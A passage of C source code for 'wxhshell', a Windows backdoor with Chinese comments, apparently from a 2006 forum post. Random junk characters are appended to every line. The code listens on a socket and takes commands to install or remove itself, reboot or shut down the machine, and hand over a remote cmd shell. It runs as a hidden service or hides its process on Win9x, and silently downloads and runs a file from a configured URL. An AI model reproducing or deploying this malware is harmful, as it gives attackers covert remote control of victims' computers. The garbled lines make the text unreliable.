  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WqO4_;X6/  
  } =?3b3PZn  
  else { IRknD3LX  
u~xfI[8C  
    switch(cmd[0]) { ;!hwcOkX  
  {{r.?m#{  
  // 帮助 &wa2MNCG8  
  case '?': { ,*kh{lJ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tE8aL{<R  
    break; ]5O]=^ u0  
  } ^? V9  
  // 安装 Z g.La<#  
  case 'i': { d=nv61]  
    if(Install()) eKUP,y;[I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~tc,p  
    else !AXt6z cZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b!<\#[ A4  
    break; drQI@sPp  
    } .fgVzDR|+  
  // 卸载 >~;= j~  
  case 'r': { V8hmfV~=]P  
    if(Uninstall()) diWi0@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OZR{+YrB^  
    else ,W|cyQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $L4h'(s  
    break; rT|wZz9$@  
    } gF>t+"+ x  
  // 显示 wxhshell 所在路径 im3BQIPR  
  case 'p': { 4%$#   
    char svExeFile[MAX_PATH]; it$w.v+W7V  
    strcpy(svExeFile,"\n\r"); } *jmW P  
      strcat(svExeFile,ExeFile); %a:>3! +  
        send(wsh,svExeFile,strlen(svExeFile),0); hHk9O?  
    break; $KVCEe!X  
    } `%/w0,0  
  // 重启 G,}"}v:  
  case 'b': { |jB/d@RE  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R=J5L36F  
    if(Boot(REBOOT)) @~QI3)=s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?j;,:n   
    else { ~f:"Q(f+  
    closesocket(wsh); +>ld  
    ExitThread(0); {%oxzdPc  
    } D JZ$M  
    break; sOO_J!bblP  
    } Aw]kQ\P&  
  // 关机 ES\=MO5a7  
  case 'd': { S}P rgw/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); K|Xr~\=  
    if(Boot(SHUTDOWN)) | Rj"}SC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )A$xt)}P!{  
    else { \ZtKaEXnx  
    closesocket(wsh); af'gk&%  
    ExitThread(0); /PKu",Azj  
    } LC4W?']/  
    break; Bm5\*Xd1(  
    } feJl[3@tO  
  // 获取shell !'#GdRstv  
  case 's': { @\WeI"^F8  
    CmdShell(wsh); ||))gI`3a  
    closesocket(wsh); fZp3g%u  
    ExitThread(0); |s,y/svp  
    break; K: |-s4=  
  } h])oo:u'/Q  
  // 退出 {TZV^gT4  
  case 'x': { DB+oCE<.#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); bao"iv~z  
    CloseIt(wsh); FeNNzV=  
    break; w$Z%RF'p  
    } =gB8(1g8  
  // 离开 >9NC2%61S  
  case 'q': { "&/lF[q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @A|#/]S1  
    closesocket(wsh); &~c`p[  
    WSACleanup(); W9QVfe#s  
    exit(1); dJe 3DW :  
    break; _SnD)k+TgJ  
        } :=*V i`  
  } ZfXgVTJ`  
  } `n RF"T_  
+{#L,0t  
  // 提示信息 g2?yT ?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hEFOT]P4  
} 26;Gt8  
  } {rwT4]4  
F!fsW9  
  return; 7&dK_x,a  
} 6!se,SCvw  
-ykD/  
// shell模块句柄 * ,zrg%8  
int CmdShell(SOCKET sock) e{H(  
{ n]6-`fpD  
STARTUPINFO si; #-o 'g!  
ZeroMemory(&si,sizeof(si)); T!I3.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +KaVvf  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g4y& 6!g  
PROCESS_INFORMATION ProcessInfo; I_ AFHrj  
char cmdline[]="cmd"; ];'7~",Y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z8XWp[K  
  return 0; {.?pl]Zl6  
} dvM%" k  
phQ{<wzwp  
// 自身启动模式 s\< @v7A  
int StartFromService(void) FKPR;H8>  
{ & WeN{  
typedef struct >?#zPweA  
{ cwOa"]t}  
  DWORD ExitStatus; kS?CKd9by  
  DWORD PebBaseAddress; ^X?uAX-RP|  
  DWORD AffinityMask; "lrQC`?  
  DWORD BasePriority; da i+"  
  ULONG UniqueProcessId; yzMGZi`ut  
  ULONG InheritedFromUniqueProcessId; <xe_t=N  
}   PROCESS_BASIC_INFORMATION; Cg|\UKfy$  
LIrebz  
PROCNTQSIP NtQueryInformationProcess; 0 6M?ecN  
|MOz> 1<a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ddN G :  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; DN iH" 0%  
0":k[y  
  HANDLE             hProcess; [RF]lM]w  
  PROCESS_BASIC_INFORMATION pbi; *<[zG7+&[  
t 4VeXp6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1=,y +Xpw  
  if(NULL == hInst ) return 0; 4U16'd  
WEJ-K<A(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !iq|sXs  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #G_'5{V  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =ZO lE|4  
]1pB7XL  
  if (!NtQueryInformationProcess) return 0; 1w,34*-}  
M%Ksyr9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vt n T   
  if(!hProcess) return 0; k]^ya?O]p  
oh@Ha?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !.-u'6e  
n @,.  
  CloseHandle(hProcess); CxN xb)c &  
pp@B]We  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #a2gRg  
if(hProcess==NULL) return 0; ($>m]|  
->X>h_k.Y  
HMODULE hMod; $7ix(WL<%  
char procName[255]; lD, ~%  
unsigned long cbNeeded; "vT$?IoEV  
I!Z"X&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i(OeE"YA  
6B%  h  
  CloseHandle(hProcess); G%, RD}D  
z [ 'G"yCi  
if(strstr(procName,"services")) return 1; // 以服务启动 ZzjCS2U  
2wDDVUwyB  
  return 0; // 注册表启动 N|Ag8/2A  
} q3#+G:nh  
(Q @'fb9z  
// 主模块 x$bUd 9  
int StartWxhshell(LPSTR lpCmdLine) r/HCWs|  
{ 7(oA(l1V  
  SOCKET wsl; VX82n,'=t  
BOOL val=TRUE; TVx `&C+  
  int port=0; "wuO[c&%/  
  struct sockaddr_in door; K[ [6A:  
%q~q,=H$]  
  if(wscfg.ws_autoins) Install(); lG Bg8/[  
qTN%9!0@9  
port=atoi(lpCmdLine); n>R(e>  
,lStT+A  
if(port<=0) port=wscfg.ws_port; ,i??}Wm5G  
.}v" `>x  
  WSADATA data; T1*.3_wtP  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; k].swvIi  
cJv/)hRaz  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {=?(v`88  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *coUHbP9>  
  door.sin_family = AF_INET; AWYlhH4c?t  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >;' 0ymG.`  
  door.sin_port = htons(port); SOOJqC  
{wsJ1 v8!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =*jFaj  
closesocket(wsl); ""XAUxo  
return 1; *U]&a^N  
} Q$:Q6 /5.  
J{-`&I'b  
  if(listen(wsl,2) == INVALID_SOCKET) { 11YJ W-V  
closesocket(wsl); S2;^  
return 1; VgODv  
} '?mF,C o{  
  Wxhshell(wsl); V-@4s}zX  
  WSACleanup(); e,VF;Br  
,z>-_HOnw  
return 0; )\ceanS  
Um 6}h@>  
} lZ.lf.{F  
@ci..::5  
// 以NT服务方式启动 BWy-R6br  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X-_VuM_p  
{ l>b'b e9  
DWORD   status = 0; .=TXi<8Brw  
  DWORD   specificError = 0xfffffff;  \20} /&  
0VSIyG_Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "n` z`{<n  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <<CWN(hQWO  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j&_>_*.y  
  serviceStatus.dwWin32ExitCode     = 0; (lVMy\  
  serviceStatus.dwServiceSpecificExitCode = 0; P1T {5u!T  
  serviceStatus.dwCheckPoint       = 0; pR93T+X  
  serviceStatus.dwWaitHint       = 0; _<FUS'"  
J  sz=5`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g:a[N%[C  
  if (hServiceStatusHandle==0) return; ;"x+V gS'  
]6[+tpx  
status = GetLastError(); 3CjixXaA$  
  if (status!=NO_ERROR) aG^E^^Y  
{ _^#eO`4"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +cqUp6x.  
    serviceStatus.dwCheckPoint       = 0; q,@# cQBV  
    serviceStatus.dwWaitHint       = 0; h!%y,4IBR  
    serviceStatus.dwWin32ExitCode     = status; 1xd6p  
    serviceStatus.dwServiceSpecificExitCode = specificError; T+@i;M  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Yq6 @R|u  
    return; Ca5#'3Eh  
  } >Ti%Th,  
J ( d[05x0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ih|4ISI  
  serviceStatus.dwCheckPoint       = 0; [)s4:V  
  serviceStatus.dwWaitHint       = 0; 8R!-,I"$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0VtjVz*C7&  
} Q|h$D~  
zpT^:Ag  
// 处理NT服务事件,比如:启动、停止 qi7C.w;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \f? K74  
{ `| ?<KF164  
switch(fdwControl) <I34@;R c  
{ ]zaTX?F:  
case SERVICE_CONTROL_STOP: IiqqdU]  
  serviceStatus.dwWin32ExitCode = 0; ,o%by5j"^N  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; V~j^   
  serviceStatus.dwCheckPoint   = 0; %p )"_q!ge  
  serviceStatus.dwWaitHint     = 0; cMZy~>  
  { 2SC-c `9)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M.t,o\xl  
  } SA}Dkt&,  
  return; = NZgbl  
case SERVICE_CONTROL_PAUSE: f0sLe 3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 03v+eT  
  break; j;@a~bks6z  
case SERVICE_CONTROL_CONTINUE: heou\;GI"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qzbW0AM[M  
  break; $.4A?,d  
case SERVICE_CONTROL_INTERROGATE: L<@*6QH  
  break;  5)'Y\~2  
}; ajk}&`Wj"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h>D;QY  
} trwQ@7  
EA>.SSs!  
// 标准应用程序主函数 U'ctO%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2K};-}eW  
{ <hCO-r#  
n]$rLm%^  
// 获取操作系统版本 VtI`Qc jc  
OsIsNt=GetOsVer(); D1ZyJs#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }i"[5:  
hQ<7k'V  
  // 从命令行安装 rIcgf1v70  
  if(strpbrk(lpCmdLine,"iI")) Install(); /Q(boY{  
j [lS.Lb  
  // 下载执行文件 %6uZb sa  
if(wscfg.ws_downexe) { 4vWiOcJF!O  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3pvqF,"~D  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4!!PrXE  
} Zw0KV%7hD  
]dNNw`1\V  
if(!OsIsNt) {  d=^QK{8  
// 如果时win9x,隐藏进程并且设置为注册表启动 0}NDi|o  
HideProc(); mP }<{oh`x  
StartWxhshell(lpCmdLine); U~?VN!<x[  
} LJ~#0Zu?  
else E7iAN\vo  
  if(StartFromService()) 3W[?D8yi)  
  // 以服务方式启动 D tZ?sG  
  StartServiceCtrlDispatcher(DispatchTable); @a@}xgn{  
else _xCYh|DlQ|  
  // 普通方式启动 aq_K,li #w  
  StartWxhshell(lpCmdLine); }p*|8$#x"  
Tph^o^  
return 0; fub04x)  
}
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只看该作者 1 发表于: 2006-10-10
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